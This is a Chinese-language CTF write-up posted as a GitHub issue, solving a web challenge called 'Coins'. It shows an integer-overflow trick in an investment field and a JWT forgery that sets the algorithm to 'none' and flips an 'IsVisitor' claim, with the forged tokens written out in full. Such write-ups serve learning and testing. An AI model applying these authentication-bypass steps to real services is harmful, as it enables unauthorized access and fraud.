Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Coins #65

Open
techiall opened this issue Dec 25, 2019 · 0 comments
Open

Coins #65

techiall opened this issue Dec 25, 2019 · 0 comments
Labels

Comments

@techiall
Copy link
Owner

techiall commented Dec 25, 2019

题目链接:http://share-dmhy.two.moe:8081/

先随便注册一个账号,F12 查看发送的请求。

注册完登录进去,在商城的菜单下,我们可以看到一个 买买买 按钮,点击他发现请求的 url 为 http://share-dmhy.two.moe:8081/api/shop/getFlag,然后提示我们说 HDL 太少啦 根本买不起

HDL -> 海底捞

XLK -> 小龙坎

DLY -> 大龙燚

因此做题思路也就是凑够 2,000,000,000,000 HDL 即可获得 flag 吧....

在汇率目录下知道了三种 coin 的转换比例,在理财市场可以获得 coin,在 coin 市场可以进行兑换。

先把起始给的 5 份 HDL 兑换成 XKL,(因为理财市场只能使用 XKL)

这是 CTF,肯定不是让你好好理财得到那么多的 HDL。

在理财市场发现只能让你数字,猜应该是类型溢出,投资份数 那里有限制,但是 投资时间 没有限制。 int64 最大,从大往小试一下,2 ^ 63 - 1。

2 ^ 63 - 1 = 9,223,372,036,854,775,807

emmmmm,在投资时间输入 9,223,372,036,854,775,807,购买一份 XKL,购买成功,一份不够再来一份。

接着去 coin 市场将 XKL 换成 HDL,获得足够的 HDL,再去买 flag,提示你 访客用户不可购买商城商品

其实在注册登录的时候我们发现他使用的 JWT Token 授权认证(loginToken)。

(第一次做题的时候思路弄错了,一上来就直接怼 JWT,想暴力获得签名,后来发现想多了,没必要那么做。

JSON Web Token 入门教程

通过 Chrome 插件获得 loginToken

loginToken = 

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
.
eyJJc1Zpc2l0b3IiOjEsIlVzZXJJZCI6ImRmUVBIQkxxIiwiVXNlcm5hbWUiOiJ0ZWNoaWFsIn0
.
v1Woj-YM5BURaETyCJqmHKRFVxftAWPWr--XamaJDpU

通过 Google 发现 CTF JWT 一般都是绕过,有些是暴力签名,有些是修改 jwt 的算法。

将 JWT 第一部分的 HS256 算法改成 none,再重新 Base64 编码。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9  -- base64 decode --> {"alg":"HS256","typ":"JWT"}

{"alg":"none","typ":"JWT"} -- base64 encode --> eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=

将 JWT 第二部分 Base64 解码

eyJJc1Zpc2l0b3IiOjEsIlVzZXJJZCI6ImRmUVBIQkxxIiwiVXNlcm5hbWUiOiJ0ZWNoaWFsIn0 

-- base64 decode -->

{"IsVisitor":1,"UserId":"dfQPHBLq","Username":"techial"}

根据之前提示的 访客用户不可购买商城商品,修改 IsVisitor 字段,改成 0,并重新 Base64 编码。

{"IsVisitor":0,"UserId":"dfQPHBLq","Username":"techial"} 

-- base64 encode -->

eyJJc1Zpc2l0b3IiOjAsIlVzZXJJZCI6ImRmUVBIQkxxIiwiVXNlcm5hbWUiOiJ0ZWNoaWFsIn0=

(记得去掉 =

把两部分 Base64 合并起来,得到 loginToken,最后一个 . 要留着。

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJJc1Zpc2l0b3IiOjAsIlVzZXJJZCI6ImRmUVBIQkxxIiwiVXNlcm5hbWUiOiJ0ZWNoaWFsIn0.

使用 Chrome 修改 cookie 插件修改 loginToken 字段,再次购买即可获得 flag。

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

1 participant